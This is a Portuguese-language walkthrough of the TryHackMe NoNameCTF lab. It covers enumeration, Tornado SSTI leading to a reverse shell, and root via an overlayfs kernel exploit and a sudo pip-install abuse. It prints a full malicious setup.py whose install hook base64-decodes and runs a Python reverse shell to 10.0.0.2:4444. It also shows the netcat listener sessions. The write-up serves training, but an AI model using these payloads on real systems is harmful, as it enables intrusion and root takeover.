.d8888b. 8888888888 .d8888b. 888888888 .d8888b. d88P Y88b d88P d88P Y88b 888 d88P Y88b 888 888 d88P .d88P 888 888 888 888 888 888 888 d88P 8888" 8888888b. Y88b. d888 888 888 `Y8bd8P' 88888888 "Y8b. "Y88b "Y888P888 888 888 X88K d88P 888 888 888 888 Y88b d88P .d8""8b. d88P Y88b d88P Y88b d88P Y88b d88P "Y8888P" 8888 8888 d88P "Y8888P" "Y8888P" "Y8888P"

[ Autor: Nicholas Ferreira ]


[0x4] NoNameCTF - TryHackme Writeup (em português)

09/07/2021

Header



Neste texto eu apresentarei minha resolução para a sala NoNameCTF do TryHackMe. A exploração da máquina envolve exploração de Server-Side Template Injection (SSTI), uma espécie de buffer overflow, e a escalação de privilégio foi feita de duas maneiras: através de uma falha no kernel e via permissões inadequadas para sudoers. Acima está o vídeo da primeira vez em que eu fiz a sala.

Enumeração

Iniciando a máquina, recebemos o IP 10.10.147.70. Vamos rodar um scan para ver as portas abertas:


>_

nich0las@0x7359:~$ sudo nmap -sSVC -Pn -vv 10.10.147.70
Not shown: 996 closed ports
Reason: 996 resets
PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 12:57:3f:cc:86:39:04:3b:f0:e6:46:bf:72:51:64:0b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+fzUNMdVOD1RLT2OU1iOC5Av6
8TQ5E7Jy2x1IPhvOHkU8fzeWJBnAPZuxckO2mtmFL73m4mIRo4nyYmlBrTM090Hyg+P
+yJUuqepuTLdjXgZW/e1YvmFXoQUXVEencwBLN3dvYJ0t+Jvu4rfCbeyzHfUkTrt6tz
xaX3go8FKjVKuYMNq7frgTSWiO/k3rik1MNy4IedQOmKOCwxxAGdXXy+VcGtUAOWlIo
d6pBIU4CCEQJxE146xEIQI1czJuHrHXombZzfk9Ov+pY2NloxEORPQ2/sRD2+uYnfl4
OBWM/uupeY4doRF5futdZ7u5XP+aHSSMRieBRMsgFuR1her
| 256 81:05:75:ad:78:83:62:b2:06:41:5b:e5:a5:a9:82:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNT
YAAABBBMgGIaiwLHXLXGtioB2ZXuN/bkckCNW8ddroXERn3jIVjGjvDOZJY+J9bR/n2b
qa601xbGQLbK8cXsfu4/SjqD4=
| 256 0f:8d:0e:19:e9:c7:cc:14:39:e9:34:60:5c:f7:aa:fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINcfH8RQ/iANAMirzQDTd9DqQWtaRg
hdHwVVrAou0c+j

80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

2222/tcp open EtherNetIP-1? syn-ack ttl 61
| fingerprint-strings:
| DNSStatusRequestTCP, GenericLines, Kerberos, NULL, SSLSessionReq, TerminalServerCookie:
| Welcome to the NoNameCTF!
| Choose an action:
| regiser: 1
| login: 2
| get_secret_directory: 3
| store_your_buffer: 4
| GetRequest, HTTPOptions, Help, RTSPRequest:
| Welcome to the NoNameCTF!
| Choose an action:
| regiser: 1
| login: 2
| get_secret_directory: 3
| store_your_buffer: 4
| Wrong option
|_ Good bye

9090/tcp open http syn-ack ttl 61 Tornado httpd 6.0.3
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: TornadoServer/6.0.3
|_http-title: Site doesn't have a title (text/plain).

1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.80%I=7%D=7/9%Time=60E89682%P=x86_64-pc-linux-gnu%r(NUL
SF:L,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n
SF:>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x2
SF:03\r\n>\x20store_your_buffer:\x204\r\n")%r(GenericLines,7B,"Welcome\x20
SF:to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x20
SF:1\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_
SF:your_buffer:\x204\r\n")%r(GetRequest,93,"Welcome\x20to\x20the\x20NoName
SF:CTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x2
SF:02\r\n>\x20get_secret_directory:\x203\r\n>\x20store_your_buffer:\x204\r
SF:\nWrong\x20option\r\nGood\x20bye\r\n")%r(HTTPOptions,93,"Welcome\x20to\
SF:x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\r
SF:\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_you
SF:r_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r(RTSPRequest,93
SF:,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x2
SF:0regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r
SF:\n>\x20store_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%
SF:r(DNSStatusRequestTCP,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\
SF:x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_
SF:secret_directory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(Help,93,
SF:"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20
SF:regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\
SF:n>\x20store_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r
SF:(SSLSessionReq,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x
SF:20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_
SF:directory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(TerminalServerC
SF:ookie,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:
SF:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory
SF::\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(Kerberos,7B,"Welcome\x20
SF:to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x20
SF:1\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_
SF:your_buffer:\x204\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Há um SSH na porta 22, HTTP na 80 e 9090 e um serviço desconhecido na porta 2222. O HTTP da porta 9090 parece estar usando o Tornado httpd 6.0.3, um framework web do python. Pesquisando por ele, rapidamente vemos que há casos de exploração de server-side template injection nele. Quando isso ocorre, como no exemplo encontrado, podemos inserir e executar comandos do python remotamente através de parâmetros GET.

Na porta 9090, porém, há apenas uma mensagem de erro 404, que nos informa a existência do usuário 'zeldris'.

zeldris

Na porta 80, há apenas a string "checkme!".

checkme Porém, olhando o código fonte da página, vemos que há um comentário com informações referentes a um buffer, bem parecido com o que ocorre em aplicações vulneráveis a buffer overflow.
<html>
<head></head>
<body>
<!--char buffer[250]; -->
<!--A*1000-->
        checkme!
</body>
</html>


Possivelmente isso será usado na exploração do binário vulnerável (sobre o qual a descrição da sala falou).

O uso de crawlers para descobrir diretórios no server HTTP na porta 80 e na 9090 não retornou nada.

Conversando com o serviço

Continuando, vemos que na porta 2222 há um serviço estranho. Ao conectarmos nele via nc, recebemos o seguinte banner:


>_
nich0las@0x7359:~$ nc -v 10.10.147.70 2222
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4


Explorando as opções, vemos que precisamos primeiro registrar com a opção 1, depois fazer login com a opção 2, depois gravar o buffer com a opção 4 e ver o diretório secreto com a opção 3. Mas ao fazermos isso, o "get_secret_directory" retorna exatamente o que colocamos no "store_your_buffer".


>_
nich0las@0x7359:~$ nc -v 10.10.147.70 2222
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
1
Enter an username:teste
Enter a password:senha123
User teste successfully registered. You can login now!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
2
Username:teste
Password:senha123
You're now authenticated!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4
Enter your buffer:seinscreve
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: seinscreve
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4


Isso me fez pensar que ele criou o diretório com o nome do nosso buffer, mas esse não é o caso.

Explorando o "buffer overflow"

Lembrando do 'A*1000' que havíamos encontrado na index do webserver na porta 80, resolvi inserir 1000 'A's e mais alguns caracteres no campo de buffer da aplicação, e, ao selecionar a opção 3, um novo diretório é retornado:


>_
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4

Enter your buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA......
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: /40b5dffec---EDITADO---61d2fc4a038/


Confesso que fiquei decepcionado com esse buffer overflow. Esperava conseguir acesso à máquina de alguma maneira, ter acesso ao binário ou ao seu código fonte e explorá-lo para escalar privilégio.

De qualquer forma, acessando esse novo diretório, uma página é exibida:

página

Não há nada de interessante nela. Porém, em seu código fonte, há um comentário fazendo menção a um parâmetro GET:

comment

Ao inserir algo nesse parâmetro, vemos que o que escrevemos é refletido na página.

get

Somando isso com o que encontramos antes sobre SSTI no Tornado HTTPd, ao testarmos o payload {{ 4*4 }}, o resultado é avaliado e retornado como se esperava, confirmando o SSTI.

ssti

Então, importando a biblioteca os, podemos executar comandos no sistema operacional para obtermos uma shell reversa. Para isso, verificamos que o nc.traditional está instalado e, em seguida, deixamos o nc ouvindo na nossa máquina e rodamos o comando para fazer a conexão.

reverse cmd


>_
nich0las@0x7359:~$ nc -lvp 7359
Listening on 0.0.0.0 7359
Connection received on 10.10.147.70 44892
script -qc /bin/bash /dev/null
zeldris@ubuntu:~/nonamectf/ssti$


Tendo a shell, facilmente obtemos a flag de user na home do usuário zeldris.

Escalação de privilégio

Eu fiz a escalação de privilégio de duas maneiras diferentes, uma explorando o kernel e outra explorando o pip.

Explorando o kernel


>_
zeldris@ubuntu:~/nonamectf/ssti$ uname -a
Linux ubuntu 4.4.0-174-generic #204-Ubuntu SMP Wed Jan 29 06:41:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux


Como vemos, a máquina roda um Ubuntu 4.4, que é vulnerável ao overlayfs, uma vulnerabilidade no kernel que permite escalação de privilégio para root. Upei via SCP um exploit que eu já tinha compilado em minha máquina para a máquina alvo. Para usar o SCP, usei a shell que eu já tinha para colocar uma chave pública minha no /home/zeldris/.ssh/authorized_keys.


>_
nich0las@0x7359:~$ scp -i chave overlayfs zeldris@10.10.147.70:/tmp


Executando-o, facilmente obtive root.


>_
zeldris@ubuntu:/tmp$ ./overlayfs
bash-4.3# whoami
root


Explorando o python

Eu suponho que o root da máquina não deveria ter sido obtido através desse exploit, e confirmei a suspeita ao ler o conteúdo da flag de root. De qualquer maneira, uma coisa que não verifiquei na máquina quando entrei nela era se o usuário zeldris é sudoer. Como eu não tinha a senha dele, nem pensei em usar o sudo -l, pois pensei que ele exigiria senha.

Porém, ao rodar o linpeas.sh, foi possível ver que o usuário zeldris (ao qual temos acesso) pode rodar pip install * como root.


>_
zeldris@ubuntu:/tmp$ sudo -l
Matching Defaults entries for zeldris on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User zeldris may run the following commands on ubuntu:
(ALL : ALL) ALL
(root : root) NOPASSWD: /usr/bin/pip install *



Pesquisando um pouco, encontrei um post em um blog mostrando como escalar privilégio tendo permissão de rodar pip install como root. Basta criar um script python "script.py" e instalá-lo como módulo.

from setuptools import setup

from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '10.0.0.2'

reverse_shell = 'python -c "import os; import pty; import socket;
lhost = \'%s\'; lport = 4444; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\');
pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})


Tendo editado e salvo o código, basta configurar o netcat para ouvir na porta configurada (4444) e rodar o seguinte comando no alvo:


>_
zeldris@ubuntu:/tmp$ sudo -H /usr/bin/pip install script.py --upgrade --force-reinstall


Imediatamente, recebemos uma shell root no netcat.


>_
nich0las@0x7359:~$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.147.70 46464
root@ubuntu:/tmp/pip-uvh1xX-build# id
id
uid=0(root) gid=0(root) groups=0(root)


=)